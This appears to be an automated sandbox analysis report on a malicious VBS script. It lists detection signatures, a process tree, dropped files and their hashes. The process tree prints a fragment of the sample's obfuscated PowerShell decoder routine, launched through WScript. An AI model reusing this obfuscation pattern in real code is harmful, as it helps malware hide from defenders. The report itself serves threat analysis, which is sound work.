Analysis

  • max time kernel
    94s
  • max time network
    97s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20240426-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20240426-enlocale:en-usos:windows10-2004-x64system
  • submitted
    30/05/2024, 01:48

General

  • Target
    6af8cef5811fe0f2d7d36c23a0180b6aa1ab7f66ca39c6a2b513f85a9bb5817d.vbs
  • Size 1.1MB
  • Sample240530-b8cnqsbb73
  • SHA256 6af8cef5811fe0f2d7d36c23a0180b6aa1ab7f66ca39c6a2b513f85a9bb5817d
  • MD5 SHA1 SHA512 SSDEEP
Score
8/10

Malware Config

Signatures

  • Blocklisted process makes network request 2 IoCs
  • Checks computer location settings 2 TTPs 1 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Legitimate hosting services abused for malware hosting/C2 1 TTPs 2 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Suspicious behavior: EnumeratesProcesses 2 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of WriteProcessMemory 4 IoCs

Processes

  • C:\Windows\System32\WScript.exe
    "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\6af8cef5811fe0f2d7d36c23a0180b6aa1ab7f66ca39c6a2b513f85a9bb5817d.vbs"
    1⤵
    • Checks computer location settings
    • Suspicious use of WriteProcessMemory
    PID:2484
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" "$Spinatens='Sub';$Spinatens+='strin';$Atletens = 1;$Spinatens+='g';Function Numerist($Skrivesituationers){$Werewall=$Skrivesituationers.Length-$Atletens;For($Polycyclic=7;$Polycyclic -lt $Werewall;$Polycyclic+=8){$Cyklingen72+=$Skrivesituationers.$Spinatens.Invoke( $Polycyclic, $Atletens);}$Cyklingen72;}function Hariet($Davidson){ . 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      2⤵
      • Blocklisted process makes network request
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of WriteProcessMemory
      PID:3236
      • C:\Windows\system32\cmd.exe
        "C:\Windows\system32\cmd.exe" /c "echo %appdata%\Scrofulous.Sko && echo t"
        3⤵
          PID:2868

    Network

          MITRE ATT&CK Enterprise v15

          Replay Monitor

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          Downloads

          Serolog.txt

          • Path C:\Users\Admin\AppData\Local\Temp\Serolog.txt
          • Size 739B
          • SHA256 3b8307cb907cd3860c10526cb747c878fa6080dd72d6a1e05193903ed4dab22d
          • MD5 SHA1 SHA512

          Serolog.txt

          • Path C:\Users\Admin\AppData\Local\Temp\Serolog.txt
          • Size 1KB
          • SHA256 68f4f6c9593af44f0953c356be5224fb799e9ea402b9444dc2e3cc08a54ac801
          • MD5 SHA1 SHA512

          Serolog.txt

          • Path C:\Users\Admin\AppData\Local\Temp\Serolog.txt
          • Size 1KB
          • SHA256 a0b860f2127cfae9e193e7baac8b14bb03940835f121ef984733b2084c4bb161
          • MD5 SHA1 SHA512

          Serolog.txt

          • Path C:\Users\Admin\AppData\Local\Temp\Serolog.txt
          • Size 6KB
          • SHA256 86459d355294f3d3f816eac51eb4bfad6edc2d8de24bb85e39072e6e2ff2a108
          • MD5 SHA1 SHA512 SSDEEP

          Serolog.txt

          • Path C:\Users\Admin\AppData\Local\Temp\Serolog.txt
          • Size 400B
          • SHA256 0748256de65277e898d2799cadcbdfb10c8701c823cfc88b89323c96a92072fe
          • MD5 SHA1 SHA512

          __PSScriptPolicyTest_ilxb4aiu.obf.ps1

          • Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_ilxb4aiu.obf.ps1
          • Size 60B
          • SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
          • MD5 SHA1 SHA512

          memory/3236-319-0x00007FF83DF33000-0x00007FF83DF35000-memory.dmp

          memory/3236-320-0x000001DDE5600000-0x000001DDE5622000-memory.dmp

          memory/3236-330-0x00007FF83DF30000-0x00007FF83E9F1000-memory.dmp

          memory/3236-331-0x00007FF83DF30000-0x00007FF83E9F1000-memory.dmp

          memory/3236-336-0x00007FF83DF30000-0x00007FF83E9F1000-memory.dmp

          memory/3236-337-0x00007FF83DF30000-0x00007FF83E9F1000-memory.dmp